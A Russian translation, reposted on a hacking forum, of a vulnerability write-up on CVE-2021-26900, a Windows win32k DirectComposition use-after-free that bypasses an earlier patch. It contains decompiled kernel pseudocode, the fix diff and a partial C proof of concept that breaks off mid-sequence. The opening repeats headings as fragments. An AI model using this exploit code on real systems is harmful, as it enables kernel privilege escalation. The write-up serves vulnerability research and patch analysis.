В марте 2021 года Microsoft выпустила патч для исправления уязвимости в ядре Windows. Ошибка могла позволить злоумышленнику выполнить код с повышенными привилегиями. Об этой уязвимости программе ZDI сообщил исследователь безопасности JeongOh Kyea (@kkokkokye) из THEORI. Он любезно предоставил эту подробную рецензию и Proof-of-Concept с подробным описанием ZDI-21-331 / CVE-2021-26900 и того, как он обходит исправление для CVE-2020-1381, выпущенное в июле 2020 года.
DirectComposition
Компонент DirectComposition был добавлен в Windows 8 и обеспечивает эффективную поддержку графических эффектов, таких как преобразование изображений и анимация. На CanSecWest 2017 @360Vulcan сделал презентацию по поиску уязвимостей в DirectComposition - Win32k Dark Composition [PDF].
Доступ к DirectComposition можно получить с помощью системных вызовов win32k, которые начинаются с
Есть три основных системных вызова для вызова любой уязвимости DirectComposition:
После создания канала можно отправить несколько команд с помощью системного вызова
У каждой команды есть свой формат с разными размерами:
Адрес сопоставленного раздела,
Чтобы вызвать уязвимость, нам нужно использовать 3 команды:
Во-вторых,
Наконец,
Системный вызов
После получения команд от ядра диспетчер окон рабочего стола (dwm.exe) отобразит эти команды на экране.
Уязвимость
Уязвимость CVE-2021-26900 связана с
CVE-2020-1381
CVE-2020-1381/ZDI-20-872 была исправлена в июле 2020 года. Уязвимость возникает в функции
Объект
Эта функция сначала извлекает ресурсы из
Затем пара ресурсов
Когда функция
Чтобы добавить новую запись в список трекеров, размер
Функция
После добавления пары объектов
Поскольку они ссылаются друг друга, ссылки должны быть очищены при освобождении объекта. Посмотрим на ситуацию, если объект
Если объект
В
Однако что произойдет, если один
На изображении ниже показана эта ситуация:
В этой ситуации, если
Этот указатель на висячий объект позже разыменовывается в функции
Показанная выше функция вызывает метод
CVE-2021-26900
CVE-2021-26900/ZDI-21-331 повторно активирует указанную выше уязвимость, минуя исправление CVE-2020-1381. Патч CVE-2020-1381 выглядит следующим образом:
Часть, отмеченная [*], была добавлена для проверки
Однако этот патч можно обойти, обновив запись трекера. Код для обновления записи трекера:
Сначала приведенный выше код пытается найти запись с парой трекеров
Самая важная часть, связанная с этой уязвимостью, - это [2]. Когда
Вышеупомянутая функция пытается найти запись с идентификатором ресурса
Однако указатель
Теперь
Затем обновление
Исправление
Патч, примененный к
Патч применяется к коду, который добавляет запись в
При изменении
Затем при добавлении записи, к ресурсу добавляется поле
Наконец, при освобождении ресурса привязка фактически удаляется в функции
Еще раз спасибо JeongOh Kyea за подробный обзор и PoC. За последние пару лет он внес несколько ошибок Windows в программу ZDI, и мы, безусловно, надеемся получить от него больше сообщений в будущем. А пока следите за командой, чтобы узнать о последних методах использования уязвимостей и исправлениях безопасности.
От ТС
Спасибо admin за предложенный материал.
Оригинал доступен тут
Перевод:
Azrv3l cпециально для xss.pro
BTC: bc1qs2fk7zftnwwhhdrw9ge6ncxrspeyta7dymjwkj
XMR: 47XEeTRbHoHFVZ8eTMoMRvdwtpxyx2fee4XAWMyA18KEMAxGh2jMZurBpGtWSN1obMFo8HQXLvtyoTozSnW8CQy31zaSPBc
ETH: 0xEb8CdE54aBaA7186E9dB8A27f6898C9F02397bab
DirectComposition
Компонент DirectComposition был добавлен в Windows 8 и обеспечивает эффективную поддержку графических эффектов, таких как преобразование изображений и анимация. На CanSecWest 2017 @360Vulcan сделал презентацию по поиску уязвимостей в DirectComposition - Win32k Dark Composition [PDF].
Доступ к DirectComposition можно получить с помощью системных вызовов win32k, которые начинаются с
NtDComposition. До Windows 10 RS1 вызывающий выполняет отдельный системный вызов для каждого действия, такого как создание или освобождение ресурса. После Windows 10 RS1 они объединены в один системный вызов NtDCompositionProcessChannelBatchBuffer, который обрабатывает несколько команд в пакетном режиме. Работа, представленная @360Vulcan на CanSecWest 2017, анализирует эту функцию для поиска уязвимостей. С тех пор было обнаружено множество уязвимостей, связанных с DirectComposition, включая CVE-2020-1382.Есть три основных системных вызова для вызова любой уязвимости DirectComposition:
- NtDCompositionCreateChannel
- NtDCompositionProcessChannelBatchBuffer
- NtDCompositionCommitChannel
NtDCompositionCreateChannel.
C++:
// Create Channel
HANDLE hChannel;
PVOID pMappedAddress = NULL; SIZE_T SectionSize = 0x4000;
DWORD dwArg1, dwArg2;
NtDCompositionCreateChannel(&hChannel, &SectionSize, &pMappedAddress); // Data is Transferred through pMappedAddress
После создания канала можно отправить несколько команд с помощью системного вызова
NtDCompositionProcessChannelBatchBuffer.У каждой команды есть свой формат с разными размерами:
C:
enum DCOMPOSITION_COMMAND_ID
{
ProcessCommandBufferIterator,
CreateResource,
OpenSharedResource,
ReleaseResource,
GetAnimationTime,
CapturePointer,
OpenSharedResourceHandle,
SetResourceCallbackId,
SetResourceIntegerProperty,
SetResourceFloatProperty,
SetResourceHandleProperty,
SetResourceHandleArrayProperty,
SetResourceBufferProperty,
SetResourceReferenceProperty,
SetResourceReferenceArrayProperty,
SetResourceAnimationProperty,
SetResourceDeletedNotificationTag,
AddVisualChild,
RedirectMouseToHwnd,
SetVisualInputSink,
RemoveVisualChild
};
Адрес сопоставленного раздела,
pMappedAddress, используется для хранения пакета команд. После сохранения нескольких команд в pMappedAddress вызывающий может вызвать NtDCompositionProcessChannelBatchBuffer для начала обработки команд.Чтобы вызвать уязвимость, нам нужно использовать 3 команды:
- CreateResource
- SetResourceBufferProperty
- ReleaseResource
CreateResource используется для создания объекта определенного типа. Размер команды CreateResource составляет 16 байт, а формат следующий. Тип ресурса может отличаться в зависимости от версии Windows. Вы можете легко получить номер типа ресурса, проанализировав функцию win32kbase!DirectComposition::CApplicationChannel::CreateResource.
C:
// Create Resource
*(DWORD*)(pMappedAddress) = CreateResource;
*(HANDLE*)(pMappedAddress + 4) = 1; // Resource ID (a unique number)
// For example, on Windows 20H2, 19042.804:
// 0x58 == CInteractionTrackerMarshaler
// 0x59 == CInteractionTrackerBindingManagerMarshaler
*(DWORD*)(pMappedAddress + 8) = 0x59; // Resource Type
*(DWORD*)(pMappedAddress + 12) = FALSE;
ntStatus = NtDCompositionProcessChannelBatchBuffer(hChannel, 16, &dwArg1, &dwArg2);
Во-вторых,
SetResourceBufferProperty используется для установки данных для целевого объекта. Размер и формат этой команды зависит от типа ресурса.
C:
*(DWORD*)pMappedAddress = SetResourceBufferProperty;
*(HANDLE*)(pMappedAddress + 4) = 1; // Resource ID
*(DWORD*)(pMappedAddress + 8) = subcmd; // Sub-Command
*(DWORD*)(pMappedAddress + 12) = datasize; // Datasize
CopyMemory(pMappedAddress + 16, data, datasize); // Data
// Total size of command == 16 + datasize
ntStatus = NtDCompositionProcessChannelBatchBuffer(hChannel, 16 + datasize, &dwArg1, &dwArg2);
Наконец,
ReleaseResource используется для освобождения ресурса. Размер команды ReleaseResource составляет 8 байтов, а формат следующий.
C:
*(DWORD*)(pMappedAddress) = ReleaseResource;
*(HANDLE*)(pMappedAddress + 4) = 1; // Resource ID
ntStatus = NtDCompositionProcessChannelBatchBuffer(hChannel, 8, &dwArg1, &dwArg2);
Системный вызов
NtDCompositionCommitChannel отправляет эти команды после сериализации в диспетчер окон рабочего стола (dwm.exe) через протокол локального вызова процедур (LPC).После получения команд от ядра диспетчер окон рабочего стола (dwm.exe) отобразит эти команды на экране.
Уязвимость
Уязвимость CVE-2021-26900 связана с
CInteractionTrackerBindingManagerMarshaler и CInteractionTrackerMarshaler. Эта уязвимость очень похожа на CVE-2020-1381, поэтому мы сначала объясним CVE-2020-1381, прежде чем обсуждать CVE-2021-26900.CVE-2020-1381
CVE-2020-1381/ZDI-20-872 была исправлена в июле 2020 года. Уязвимость возникает в функции
DirectComposition::CInteractionTrackerBindingManagerMarshaler::SetBufferProperty, которая является обработчиком команды SetResourceBufferProperty объекта CInteractionTrackerBindingManagerMarshaler.
C:
NTSTATUS DirectComposition::CInteractionTrackerBindingManagerMarshaler::SetBufferProperty(DirectComposition::CInteractionTrackerBindingManagerMarshaler *binding, DirectComposition::CApplicationChannel *resinfo, unsigned int subcmd, void* databuffer, size_t datasize, bool *out)
{
if( subcmd || datasize != 12 )
return STATUS_INVALID_PARAMETER;
resource1_id = *(DWORD*)(databuffer)
resource2_id = *(DWORD*)(databuffer+4)
new_entry_id = *(DWORD*)(databuffer+8)
// [1]. Get Proper Resource
if ( resource1_id && resource1_id < resinfo->resourceid_max )
tracker1 = *( (resource1_id - 1) * resinfo->entry_size + resinfo->resource_list );
else
tracker1 = NULL;
if ( resource2_id && resource2_id < resinfo->resourceid_max )
tracker2 = *( (resource2_id - 1) * resinfo->entry_size + resinfo->resource_list );
else
tracker2 = NULL;
// [2]. Check Resource type == CInteractionTrackerMarshaler
if ( tracker1 && tracker2 && tracker1->IsOfType(0x58) && tracker2->IsOfType(0x58) )
{
/*
1. Find tracker pair in tracker list
1-1 If it exists, update entry_id
1-2 If it does not exist, add a new entry
*/
}
/* ... */
}
Объект
CInteractionTrackerBindingManagerMarshaler принимает 12 байтов в качестве данных для команды SetResourceBufferProperty. Данные состоят из трех DWORD: resource1_id, resource2_id и new_entry_id.Эта функция сначала извлекает ресурсы из
resource1_id и resource2_id, указанных пользователем ([1]). Затем он проверяет, что тип каждого из этих ресурсов равен 0x58, что является типом ресурса CInteractionTrackerMarshaler ([2]).Затем пара ресурсов
CInteractionTrackerMarshaler добавляется в список трекера объекта CInteractionTrackerBindingManagerMarshaler. Как указано в их названиях, два типа объектов, CInteractionTrackerMarshaler и CInteractionTrackerBindingManagerMarshaler, связаны друг с другом. Объект CInteractionTrackerBindingManagerMarshaler хранит список пар объектов CInteractionTrackerMarshaler, и каждый из этих объектов CInteractionTrackerMarshaler имеет обратный указатель на объект CInteractionTrackerBindingManagerMarshaler.Когда функция
DirectComposition::CInteractionTrackerBindingManagerMarshaler::SetBufferProperty вызывается в первый раз, пара трекеров добавляется в список, потому что список пуст.
C:
// Size == 32 bytes
struct TrackerEntry
{
CInteractionTrackerMarshaler* Tracker1;
CInteractionTrackerMarshaler* Tracker2;
DWORD entry_id;
DWORD flag1;
BYTE flag2;
};
NTSTATUS DirectComposition::CInteractionTrackerBindingManagerMarshaler::SetBufferProperty(DirectComposition::CInteractionTrackerBindingManagerMarshaler *binding, DirectComposition::CApplicationChannel *resinfo, unsigned int subcmd, void* databuffer, size_t datasize, bool *out)
{
// ....
// 1-2. Add New Entry
if ( new_entry_id )
{
// [3]. Append Pair Data to list
result = DirectComposition::CDCompDynamicArrayBase::Grow(binding->tracker_list, 1, 'siCD');
if ( result < 0 )
return result;
entry_size = binding->tracker_list.entrysize; // 0x20 by default
offset = entry_size * (binding->tracker_list.numofentry - 1);
dest = binding->tracker_list.ptr + offset;
// struct TrackerEntry* TrackerPairEntry;
TrackerPairEntry->Tracker1 = tracker1;
TrackerPairEntry->Tracker2 = tracker2;
TrackerPairEntry->entry_id = new_entry_id;
TrackerPairEntry->flag1 = 0;
TrackerPairEntry->flag2 = 1;
memmove(dest, TrackerPairEntry, entry_size);
// [4]. Set reference from `CInteractionTrackerMarshaler` to `CInteractionTrackerBindingManagerMarshaler`
if ( !tracker1->binding_obj )
DirectComposition::CInteractionTrackerMarshaler::SetBindingManagerMarshaler(tracker1, resinfo, binding);
if ( !tracker2->binding_obj )
DirectComposition::CInteractionTrackerMarshaler::SetBindingManagerMarshaler(tracker2, resinfo, binding);
}
// ...
}
Чтобы добавить новую запись в список трекеров, размер
tracker_list увеличивается на 1 и записываются данные новой пары трекеров ([3]). Затем он устанавливает ссылку из каждого объекта CInteractionTrackerMarshaler на объект CInteractionTrackerBindingManagerMarshaler ([4]) с помощью функции DirectComposition::CInteractionTrackerMarshaler::SetBindingManagerMarshaler, которая выглядит следующим образом.
C:
void DirectComposition::CInteractionTrackerMarshaler::SetBindingManagerMarshaler(DirectComposition::CInteractionTrackerMarshaler* tracker, DirectComposition::CApplicationChannel *resinfo, DirectComposition::CInteractionTrackerBindingManagerMarshaler *binding_obj)
{
old_binding_obj = tracker->binding_obj;
if ( old_binding_obj != binding_obj )
{
if ( binding_obj )
binding_obj->refcnt++;
DirectComposition::CApplicationChannel::ReleaseResource(_resource_list, old_binding_obj);
tracker->binding_obj = binding_obj;
}
}
Функция
DirectComposition::CInteractionTrackerMarshaler::SetBindingManagerMarshaler обновляет tracker->binding_obj для нового объекта CInteractionTrackerBindingManagerMarshaler.После добавления пары объектов
CInteractionTrackerMarshaler в tracker_list связь между объектом CInteractionTrackerMarshaler и объектом CInteractionTrackerBindingManagerMarshaler будет следующей:
Поскольку они ссылаются друг друга, ссылки должны быть очищены при освобождении объекта. Посмотрим на ситуацию, если объект
CInteractionTrackerMarshaler освобожден. Чтобы освободить ресурсы, связанные с объектом CInteractionTrackerMarshaler, вызывается функция DirectComposition::CInteractionTrackerMarshaler::ReleaseAllReferences.
C:
void DirectComposition::CInteractionTrackerMarshaler::ReleaseAllReferences(DirectComposition::CInteractionTrackerMarshaler *tracker, DirectComposition::CApplicationChannel *resinfo)
{
/* Omitted */
// ...
binding = tracker->binding_obj;
if( binding )
{
DirectComposition::CInteractionTrackerBindingManagerMarshaler::RemoveTrackerBindings(binding, tracker->resource_id);
DirectComposition::CApplicationChannel::ReleaseResource(resinfo, binding);
}
tracker->binding_obj = NULL;
}
void DirectComposition::CInteractionTrackerBindingManagerMarshaler::RemoveTrackerBindings(DirectComposition::CInteractionTrackerBindingManagerMarshaler *binding, int resource_id)
{
for (int i = 0; i < binding->tracker_list.numofentry; i++)
{
entry_size = binding->tracker_list.entrysize; // 0x20 by default
entry_ptr = (struct TrackerEntry *)(binding->tracker_list.ptr + entry_size * i);
entry_tracker1 = entry_ptr->Tracker1;
entry_tracker2 = entry_ptr->Tracker2;
if(entry_tracker1->resource_id == resource_id || entry_tracker2->resource_id == resource_id)
{
// set entry_id to 0
entry_ptr->entry_id = 0;
}
}
// Delete the entry of which entry_id is zero.
DirectComposition::CInteractionTrackerBindingManagerMarshaler::CleanUpListItemsPendingDeletion(binding);
}
Если объект
CInteractionTrackerMarshaler имеет привязку к объекту CInteractionTrackerBindingManagerMarshaler, вызывается DirectComposition::CInteractionTrackerBindingManagerMarshaler::RemoveTrackerBindings для удаления соответствующей записи отслеживания.В
DirectComposition::CInteractionTrackerBindingManagerMarshaler::RemoveTrackerBindings, если один из двух объектов трекера в записи имеет идентификатор ресурса, соответствующий удаляемому объекту, entry_id этой записи будет установлен в ноль. Наконец, он вызывает DirectComposition::CInteractionTrackerBindingManagerMarshaler::CleanUpListItemsPendingDeletion для очистки тех записей, для которых entry_id равняется нулю.Однако что произойдет, если один
CInteractionTrackerMarshaler будет добавлен в несколько списков трекеров CInteractionTrackerBindingManagerMarshaler? Поскольку при добавлении новой записи нет проверки, объект CInteractionTrackerMarshaler, который уже привязан к объекту CInteractionTrackerBindingManagerMarshaler, может стать привязанным ко второму объекту CInteractionTrackerBindingManagerMarshaler.На изображении ниже показана эта ситуация:
В этой ситуации, если
Tracker1 освобожден, удаляется только запись в TrackerBindingB, потому что Tracker1 привязан к TrackerBindingB. В конце концов, запись объекта TrackerBindingA имеет освобожденный указатель на объект.
Этот указатель на висячий объект позже разыменовывается в функции
DirectComposition::CInteractionTrackerBindingManagerMarshaler::EmitBoundTrackerMarshalerUpdateCommands, которая может быть запущена с помощью системного вызова NtDCompositionCommitChannel. Этот системный вызов обращается к ресурсу во время сериализации пакетных команд.
C:
bool DirectComposition::CInteractionTrackerBindingManagerMarshaler::EmitBoundTrackerMarshalerUpdateCommands(DirectComposition::CInteractionTrackerBindingManagerMarshaler *binding, DirectComposition::CBatch **a2)
{
result = true;
for (int i = 0; i < binding->tracker_list.numofentry; i++)
{
entry_size = binding->tracker_list.entrysize; // 0x20 by default
entry_ptr = (struct TrackerEntry *)(binding->tracker_list.ptr + entry_size * i);
entry_tracker1 = entry_ptr->Tracker1;
entry_tracker2 = entry_ptr->Tracker2;
if( entry_ptr->entry_id )
{
result = entry_tracker1->EmitUpdateCommands(a2) & result;
result = entry_tracker2->EmitUpdateCommands(a2) & result;
}
}
}
Показанная выше функция вызывает метод
EmitUpdateCommands для объектов в tracker_list. На освобожденный объект будут ссылаться в процессе, что приводит к уязвимости использования после освобождения.CVE-2021-26900
CVE-2021-26900/ZDI-21-331 повторно активирует указанную выше уязвимость, минуя исправление CVE-2020-1381. Патч CVE-2020-1381 выглядит следующим образом:
C:
NTSTATUS DirectComposition::CInteractionTrackerBindingManagerMarshaler::SetBufferProperty(DirectComposition::CInteractionTrackerBindingManagerMarshaler *binding, DirectComposition::CApplicationChannel *resinfo, unsigned int subcmd, void* databuffer, size_t datasize, bool *out)
{
// ...
// 1-2. Add New Entry
if ( new_entry_id )
{
if ( !tracker1->binding_obj || tracker1->binding_obj == binding ) { // [*] Check tracker1->binding_obj
if ( !tracker2->binding_obj || tracker2->binding_obj == binding ) { // [*] Check tracker2->binding_obj
/* Add Tracker Pair routine */
result = DirectComposition::CDCompDynamicArrayBase::Grow(binding->tracker_list, 1, 'siCD');
// ...
// Omitted
}
}
}
// ...
}
Часть, отмеченная [*], была добавлена для проверки
binding_obj объекта CInteractionTrackerMarshaler. он проверяет, что CInteractionTrackerMarshaler еще не привязан к другому CInteractionTrackerBindingManagerMarshaler.Однако этот патч можно обойти, обновив запись трекера. Код для обновления записи трекера:
C:
NTSTATUS DirectComposition::CInteractionTrackerBindingManagerMarshaler::SetBufferProperty(DirectComposition::CInteractionTrackerBindingManagerMarshaler *binding, DirectComposition::CApplicationChannel *resinfo, unsigned int subcmd, void* databuffer, size_t datasize, bool *out)
{
// ...
// 1. Find tracker pair in tracker list
for (int i = 0; i < binding->tracker_list.numofentry; i++)
{
entry_size = binding->tracker_list.entrysize; // 0x20 by default
entry_ptr = (struct TrackerEntry *)(binding->tracker_list.ptr + entry_size * i);
entry_tracker1 = entry_ptr->Tracker1;
entry_tracker2 = entry_ptr->Tracker2;
tracker1_id = tracker1->resource_id;
tracker2_id = tracker2->resource_id;
if ( (entry_tracker1->resource_id == tracker1_id && entry_tracker2->resource_id == tracker2_id) ||
(entry_tracker1->resource_id == tracker2_id && entry_tracker2->resource_id == tracker1_id) )
{
// 1-1 If it exists, update entry_id
if ( entry_ptr->entry_id == new_entry_id )
return 0;
// [1] Update entry_id
entry_ptr->entry_id = new_entry_id;
entry_ptr->flag2 = 1;
if ( !new_entry_id )
{
// [2] if the new_entry_id is zero, remove relationship between CInteractionTrackerMarshaler and
// CInteractionTrackerBindingManagerMarshaler "if NECESSARY"
DirectComposition::CInteractionTrackerBindingManagerMarshaler::RemoveBindingManagerReferenceFromTrackerIfNecessary(binding, resinfo, tracker1_id, tracker2_id);
}
else
{
// Some routine
}
// ...
return 0;
}
}
// 1-2. Add New Entry
// ...
}
Сначала приведенный выше код пытается найти запись с парой трекеров
(tracker1, tracker2) или (tracker2, tracker1). Если есть запись, entry_id обновляется до new_entry_id ([1]).Самая важная часть, связанная с этой уязвимостью, - это [2]. Когда
new_entry_id равен нулю, объект CInteractionTrackerBindingManagerMarshaler считает эту запись ненужной. Для обработки этой записи он вызывает функцию DirectComposition::CInteractionTrackerBindingManagerMarshaler::RemoveBindingManagerReferenceFromTrackerIfNeeded. Однако, эта функция не удалит эту запись. Только снимет привязку.
C:
void DirectComposition::CInteractionTrackerBindingManagerMarshaler::RemoveBindingManagerReferenceFromTrackerIfNecessary(DirectComposition::CInteractionTrackerBindingManagerMarshaler *binding, DirectComposition::CApplicationChannel *resinfo, int resource1_id, int resource2_id)
{
if (resource1_id && resource1_id < resinfo->resourceid_max)
tracker1 = *( (resource1_id - 1) * resinfo->entry_size + resinfo->resource_list );
else
tracker1 = NULL;
if(resource2_id && resource2_id < resinfo->resourceid_max)
tracker2 = *( (resource2_id - 1) * resinfo->entry_size + resinfo->resource_list );
else
tracker2 = NULL;
tracker1_exist = false;
tracker2_exist = false;
// Check type of Resources
if ( tracker1 && tracker2 && tracker1->IsOfType(0x58) && tracker2->IsOfType(0x58) )
{
for(int i = 0; i < binding->tracker_list.numofentry; i++)
{
entry_size = binding->tracker_list.entrysize; // 0x20 by default
entry_ptr = (struct TrackerEntry *)(binding->tracker_list.ptr + entry_size * i);
entry_tracker1 = entry_ptr->Tracker1;
entry_tracker2 = entry_ptr->Tracker2;
tracker1_id = tracker1->resource_id;
tracker2_id = tracker2->resource_id;
// Find the entry
if ( entry_ptr->entry_id ) {
if ( entry_tracker1->resource_id == tracker1_id || entry_tracker2->resource_id == tracker1_id )
tracker1_exist = true;
if ( entry_tracker1->resource_id == tracker2_id || entry_tracker2->resource_id == tracker2_id )
tracker2_exist = true;
}
}
// If there is no other object related with tracker1 or tracker2
// Remove the binding.
if ( !tracker1_exist )
DirectComposition::CInteractionTrackerMarshaler::SetBindingManagerMarshaler(tracker1, resinfo, 0);
if ( !tracker2_exist )
DirectComposition::CInteractionTrackerMarshaler::SetBindingManagerMarshaler(tracker2, resinfo, 0);
}
}
Вышеупомянутая функция пытается найти запись с идентификатором ресурса
tracker1_id или tracker2_id. Если нет других записей с идентификатором ресурса tracker1_id или tracker2_id, это означает, что два объекта не должны ссылаться друг на друга. Таким образом, функция DirectComposition::CInteractionTrackerMarshaler::SetBindingManagerMarshaler вызывается с объектом привязки NULL, чтобы удалить привязку объекта CInteractionTrackerMarshaler.Однако указатель
tracker1 или tracker2 остается в списке трекеров, хотя привязка CInteractionTrackerMarshaler к CInteractionTrackerBindingManagerMarshaler удаляется. Обновление записи с нулевым значением new_entry_id приводит к состоянию, показанному ниже:
Теперь
binding_obj объекта CInteractionTrackerMarshaler установлен в ноль, что позволяет обойти патч CVE-2020-1381. Если мы привязываем tracker1 к другому объекту CInteractionTrackerBindingManagerMarshaler, состояние изменяется следующим образом:
Затем обновление
entry_id в TrackerBindingA до ненулевого значения приведет к тому же состоянию, что и в CVE-2020-1381.Исправление
Патч, примененный к
win32kbase.sys для исправления уязвимости CVE-2021-26900, выглядит следующим образом:
C:
NTSTATUS DirectComposition::CInteractionTrackerBindingManagerMarshaler::SetBufferProperty(DirectComposition::CInteractionTrackerBindingManagerMarshaler *binding, DirectComposition::CApplicationChannel *resinfo, unsigned int subcmd, void* databuffer, size_t datasize, bool *out)
{
...
if( ( entry_tracker1->resource_id == tracker1_id && entry_tracker2->resource_id == tracker2_id ) ||
( entry_tracker1->resource_id == tracker2_id && entry_tracker2->resource_id == tracker1_id ) )
{
// 1-1 If it exists, update entry_id
if ( entry_ptr->entry_id == new_entry_id )
return 0;
// [1]. Update entry_id
entry_ptr->entry_id = new_entry_id;
entry_ptr->flag2 = 1;
- if ( !new_entry_id ) {
- DirectComposition::CInteractionTrackerBindingManagerMarshaler::RemoveBindingManagerReferenceFromTrackerIfNecessary(binding, resinfo, tracker1_id, tracker2_id);
- }
- else {
- // Some routine
- }
...
return 0;
}
// 1-2. Add New Entry
if ( new_entry_id )
{
if (!tracker1->binding_obj || tracker1->binding_obj == binding) { // [*] Check tracker1->binding_obj
if (!tracker2->binding_obj || tracker2->binding_obj == binding) { // [*] Check tracker2->binding_obj
+ overflow_check = tracker1->listref++ == -1;
+ if ( overflow_check ) {
+ tracker1->listref = -1
+ }
+ else {
+ overflow_check = tracker2->listref++ == -1;
+ if ( overflow_check ) {
+ tracker1->listref--;
+ tracker2->listref--;
+ }
+ else {
/* Tracker Pair Add routine */
result = DirectComposition::CDCompDynamicArrayBase::Grow(binding->tracker_list, 1, 'siCD');
...
// Omitted
+ }
+ }
}
}
}
...
}
Патч применяется к коду, который добавляет запись в
tracker_list, изменяет entry_id и освобождает ресурс.При изменении
entry_id привязка не удаляется, хотя entry_id равен 0.Затем при добавлении записи, к ресурсу добавляется поле
listref. Это поле используется для правильного освобождения объекта, когда те же объекты вставляются в tracker_list.
C:
void DirectComposition::CInteractionTrackerBindingManagerMarshaler::CleanUpListItemsPendingDeletion(DirectComposition::CInteractionTrackerBindingManagerMarshaler *binding, DirectComposition::CApplicationChannel *resinfo)
{
live_obj_num = 0;
for (int i = 0; i < binding->tracker_list.numofentry; i++)
{
entry_size = binding->tracker_list.entrysize; // 0x20 by default
entry_ptr = (struct TrackerEntry *)(binding->tracker_list.ptr + entry_size * i);
entry_tracker1 = entry_ptr->Tracker1;
entry_tracker2 = entry_ptr->Tracker2;
+ if ( entry_ptr->entry_id )
+ {
// Make list compact
write_ptr = (struct TrackerEntry *)(binding->tracker_list.ptr + entry_size * live_obj_num);
memmove(write_ptr, entry_ptr, entry_size)
+ }
+ else
+ {
+ // NULL entry_id
+ entry_tracker1->listref--;
+ if (!entry_tracker1->listref) {
+ DirectComposition::CInteractionTrackerMarshaler::SetBindingManagerMarshaler(entry_tracker1, resinfo, 0);
+ }
+ entry_tracker2->listref--;
+ if (!entry_tracker2->listref) {
+ DirectComposition::CInteractionTrackerMarshaler::SetBindingManagerMarshaler(entry_tracker1, resinfo, 0);
+ }
+ }
}
DirectComposition::CDCompDynamicArrayBase::Shrink(binding->tracker_list,
binding->tracker_list.numofentry - live_obj_num);
}
Наконец, при освобождении ресурса привязка фактически удаляется в функции
DirectComposition::CInteractionTrackerBindingManagerMarshaler::CleanUpListItemsPendingDeletion.
C:
#include <windows.h>
#include <winternl.h>
typedef NTSTATUS(*pNtDCompositionCreateChannel)(
OUT PHANDLE pArgChannelHandle,
IN OUT PSIZE_T pArgSectionSize,
OUT PVOID* pArgSectionBaseMapInProcess
);
typedef NTSTATUS(*pNtDCompositionProcessChannelBatchBuffer)(
IN HANDLE hChannel,
IN DWORD dwArgStart,
OUT PDWORD pOutArg1,
OUT PDWORD pOutArg2
);
typedef NTSTATUS(*pNtDCompositionCommitChannel)(
IN HANDLE pArgChannelHandle,
OUT LPDWORD out1,
OUT LPBOOL out2,
IN BOOL in1,
IN HANDLE in2
);
#define nCmdCreateResource 0x1
#define nCmdReleaseResource 0x3
#define nCmdSetBufferProperty 0xC
#define CInteractionTrackerBindingManagerMarshaler 0x59
#define CInteractionTrackerMarshaler 0x58
HANDLE hChannel;
PVOID pMappedAddress = NULL; SIZE_T SectionSize = 0x4000;
DWORD dwArg1, dwArg2;
DWORD szBuff[0x400];
#define TrackerBinding1 1
#define TrackerBinding2 2
#define Tracker 3
pNtDCompositionCreateChannel NtDCompositionCreateChannel;
pNtDCompositionProcessChannelBatchBuffer NtDCompositionProcessChannelBatchBuffer;
pNtDCompositionCommitChannel NtDCompositionCommitChannel;
int main(int argc, TCHAR* argv[])
{
LoadLibrary(L"user32.dll");
NTSTATUS ntStatus;
HMODULE win32u = LoadLibrary(L"win32u.dll");
NtDCompositionCreateChannel = (pNtDCompositionCreateChannel)GetProcAddress(win32u, "NtDCompositionCreateChannel");
NtDCompositionProcessChannelBatchBuffer = (pNtDCompositionProcessChannelBatchBuffer)GetProcAddress(win32u, "NtDCompositionProcessChannelBatchBuffer");
NtDCompositionCommitChannel = (pNtDCompositionCommitChannel)GetProcAddress(win32u, "NtDCompositionCommitChannel");
printf("[+] Create New Direct Composition Channel\n");
ntStatus = NtDCompositionCreateChannel(&hChannel, &SectionSize, &pMappedAddress);
if (!NT_SUCCESS(ntStatus)) {
printf("[-] Fail to create Direct Composition Channel\n");
exit(-1);
}
printf("[*] Create channel ok, channel=0x%x\n", hChannel);
printf("[+] Create First TrackerBinding Resource Object\n");
*(DWORD*)(pMappedAddress) = nCmdCreateResource;
*(HANDLE*)((PUCHAR)pMappedAddress + 4) = (HANDLE)TrackerBinding1;
*(DWORD*)((PUCHAR)pMappedAddress + 8) = (DWORD)CInteractionTrackerBindingManagerMarshaler;
*(DWORD*)((PUCHAR)pMappedAddress + 0xC) = FALSE;
ntStatus = NtDCompositionProcessChannelBatchBuffer(hChannel, 0x10, &dwArg1, &dwArg2);
if (!NT_SUCCESS(ntStatus)) {
printf("[-] Fail to create Direct Composition Resource\n");
exit(-1);
}
printf("[+] Create Second TrackerBinding Resource Object\n");
*(DWORD*)(pMappedAddress) = nCmdCreateResource;
*(HANDLE*)((PUCHAR)pMappedAddress + 4) = (HANDLE)TrackerBinding2;
*(DWORD*)((PUCHAR)pMappedAddress + 8) = (DWORD)CInteractionTrackerBindingManagerMarshaler;
*(DWORD*)((PUCHAR)pMappedAddress + 0xC) = FALSE;
ntStatus = NtDCompositionProcessChannelBatchBuffer(hChannel, 0x10, &dwArg1, &dwArg2);
if (!NT_SUCCESS(ntStatus)) {
printf("[-] Fail to create Direct Composition Resource\n");
exit(-1);
}
printf("[+] Create Tracker Resource Object\n");
*(DWORD*)(pMappedAddress) = nCmdCreateResource;
*(HANDLE*)((PUCHAR)pMappedAddress + 4) = (HANDLE)Tracker;
*(DWORD*)((PUCHAR)pMappedAddress + 8) = (DWORD)CInteractionTrackerMarshaler;
*(DWORD*)((PUCHAR)pMappedAddress + 0xC) = FALSE;
ntStatus = NtDCompositionProcessChannelBatchBuffer(hChannel, 0x10, &dwArg1, &dwArg2);
if (!NT_SUCCESS(ntStatus)) {
printf("[-] Fail to create Direct Composition Resource\n");
exit(-1);
}
printf("[+] Bind Tracker to the First TrackerBinding\n");
szBuff[0] = Tracker;
szBuff[1] = Tracker;
szBuff[2] = 0x41414141;
UINT datasize = 0xC; // Size == 0x10
*(DWORD*)pMappedAddress = nCmdSetBufferProperty;
*(HANDLE*)((PUCHAR)pMappedAddress + 4) = (HANDLE)TrackerBinding1;
*(DWORD*)((PUCHAR)pMappedAddress + 8) = 0;
*(DWORD*)((PUCHAR)pMappedAddress + 0xc) = datasize;
CopyMemory((PUCHAR)pMappedAddress + 0x10, szBuff, datasize);
ntStatus = NtDCompositionProcessChannelBatchBuffer(hChannel, 0x10 + datasize, &dwArg1, &dwArg2);
if (!NT_SUCCESS(ntStatus)) {
printf("[-] Fail to create Direct Composition Resource\n");
exit(-1);
}
printf("[+] Unbind by setting tracker_id to 0\n");
*(HANDLE*)((PUCHAR)pMappedAddress + 4) = (HANDLE)TrackerBinding1;
szBuff[2] = 0;
